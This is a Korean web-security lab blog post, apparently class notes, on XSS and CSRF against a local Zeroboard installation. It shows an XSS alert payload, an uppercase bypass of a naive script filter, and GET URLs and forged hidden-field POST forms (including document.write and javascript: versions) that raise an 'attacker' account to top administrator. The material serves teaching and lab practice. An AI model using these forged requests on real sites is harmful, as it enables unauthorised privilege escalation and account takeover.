XSS
1).stored XSS
-게시글, 쪽지,회원정보 ...
2). reflected XSS
- 입력 값이 그대로 되돌아 오면서 스크립트가 실행
-192.168.12.241/zboard/check_user_id.php?user_id=<script>alert('xss');</script>
-링크로 악용 될 수 있다
- 짧은 URL을 이용해서 스크립트를 감춥니다
- Short url(http://bit.ly/2wkTFoy)
1. 기존의 보안 방식
1) 솔루션의 이용: 방화벽, 웹 방화벽, IPS, IDS, 백신.....
- 가장 오래된 전통적인 보안 방식
2). 보안 패치
!일반적인 개발 과정
기획-> 설계 -> 구현 -> 배포-> 유지보수
!시큐어 코딩
- 개발 과정 전체에서 보안 취약점을 없애는 개발 방식
XSS 차단: 게시글의 본문
- 입력값 검증
"<script>" 라는 문자열이 들어오면 못 써지게 만들어 보겠습니다
php 패턴매칭
preg_match
write_ok.php에 가서 detect xss 코드를 적어줍니다
그리고 나서 다시 스크립트 문장을 본문에 적어보면 경고창이 뜨는걸 볼 수 있습니다
이런걸 시큐어 코딩이라고 합니다
하지만 이건 단순히 문자열로 체크하는 수준이기 때문에 우회가 가능합니다
script문자만 아니면 되니 대문자로 하면 우회가 가능합니다
1. 클라이언트측 언어를 이용한 취약점: javascript(XSS), html(CSRF)
1)CSRF(Cross Site Request Forgery)
- 교차 사이트 요청 위조
- html 태그를 이용한 방법
- xss 공격의 변종 기법중의 하나
2).소스 분석을 통한 입력값 확인
회원가입을 먼저 합니다(회원이 하나 필요)
admin 페이지를 가서 회원 management에 갑니다
1)). GET
/zboard/admin_setup.php이 관리자 요청을 처리해줍니다
소스분석
page=1
group_no=1
exec=view_member
page_num=10
exec2=moveall
cart[]=2
movelevel=변경하고자 하는 level
exec2의 value가 moveall로 바뀌는걸 볼 수 있습니다
GET 방식으로 보내기 :/zboard/admin_setup.php?page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=5
GET 방식으로 보내보도록하겠습니다
버튼을 안누르고도 GET방식으로 레벨을 잘 바꾼걸 확인할 수 있습니다.
2)). POST
form이 없으면 post 방식은 사용할 수 없습니다
- 가짜폼 만들기
<form method=POST action="http://192.168.12.241/zboard/admin_setup.php">
<input type hidden name=page value=1>
<input type hidden name=group_no value=1>
<input type hidden name=exec value=view_member>
<input type hidden name=page_num value=10>
<input type hidden name=exec2 value=moveall>
<input type hidden name=cart[] value=2>
<input type hidden name=movelevel value=7>
<input type=submit>
</form>
page=1
group_no=1
exec=view_member
page_num=10
exec2=moveall
cart[]=2
movelevel=변경하고자 하는 level
-콘솔창에서 보내기
*주의 -엔터키없이 쭈르륵 나열해야합니다-
document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=page value=1><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=page_num value=10><input type hidden name=exec2 value=moveall><input type hidden name=cart[] value=2><input type hidden name=movelevel value=7><input type=submit></form>");
-url에서 보내기
javascript: document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=page value=1><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=page_num value=10><input type hidden name=exec2 value=moveall><input type hidden name=cart[] value=2><input type hidden name=movelevel value=4><input type=submit></form>");
*실습 attacker를 level 1과 최고관리자로 만들기
get/ post 둘다 만들기
소스 분석
/zboard/admin_setup.php
<input type=hidden name=exec2 value=modify_member_ok>
<input type=hidden name=group_no value=1>
<input type=hidden name=member_no value=2>
<input type=hidden name=page value=1>
<input type=hidden name=keyword value=>
<input type=text name=name size=20 maxlength=20 value="attacker" class=input style=border-color:#b0b0b0></td>
<select name=level>
<option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4 selected>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option> </select></td>
<select name=is_admin>
<option value=3 selected>일반사용자</option>
<option value=2 >그룹관리자</option>
<option value=1 >최고관리자</option>
</select></td>
exec=view_member
exec2=modify_member_ok
group_no=1
member_no=2
page=1
keyword=
level=5
is_admin=3
name=attacker
*GET 방식으로 보내기
/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2
&page=1&keyword=&level=5&is_admin=2
이렇게 보냈더니 이름을 입력하라는 문구가 뜹니다
소스를 더 분석해보니 name에 attakcer를 적어줘야 될거같다는 생각이 듭니다
<input type=text name=name size=20 maxlength=20 value="attacker" class=input style=border-color:#b0b0b0></td>
/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2
&page=1&keyword=&level=5&is_admin=2&name=attacker
다시보내봅니다
잘 바뀐걸 확인 할 수 있습니다
그럼 이제 level1과 최고 관리자로 만들어보겠습니다
/zboard/admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2
&page=1&keyword=&level=1&is_admin=1&name=attacker
잘 바뀐걸 알 수 있습니다
*POST 방식으로 보내기
exec=view_member
exec2=modify_member_ok
group_no=1
member_no=2
page=1
keyword=
level=1
is_admin=1
name=attacker
<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'>
<input type hidden name=exec2 value=modify_member_ok>
<input type hidden name=group_no value=1>
<input type hidden name=exec value=view_member>
<input type hidden name=member_no value=2>
<input type hidden name=keyword value=>
<input type hidden name=page value=1>
<input type hidden name=level value=1>
<input type hidden name=is_admin value=1>
<input type hidden name=name value=attacker>
<input type=submit>
</form>
document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=exec2 value=modify_member_ok><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=member_no value=2><input type hidden name=keyword value=><input type hidden name=page value=1><input type hidden name=level value=1><input type hidden name=is_admin value=1><input type hidden name=name value=attacker><input type=submit></form>");
-url으로 보내기
javascript:document.write("<form method=POST action='http://192.168.12.241/zboard/admin_setup.php'><input type hidden name=exec2 value=modify_member_ok><input type hidden name=group_no value=1><input type hidden name=exec value=view_member><input type hidden name=member_no value=2><input type hidden name=keyword value=><input type hidden name=page value=1><input type hidden name=level value=1><input type hidden name=is_admin value=1><input type hidden name=name value=attacker><input type=submit></form>");
'Security > Web' 카테고리의 다른 글
[WEB SECURITY]16. 원격 쉘 / RIF 취약점 (0) | 2017.08.31 |
---|---|
[WEB SECURITY]15. CSRF 2 / php 파일 업로드 취약점 1 (0) | 2017.08.30 |
[WEB SECURITY]13. 제로보드/ XSS 취약점 (0) | 2017.08.28 |
[WEB SECURITY]11. 게시판 만들기 3 (0) | 2017.08.24 |
[WEB SECURITY]10. 게시판 만들기 2 (0) | 2017.08.23 |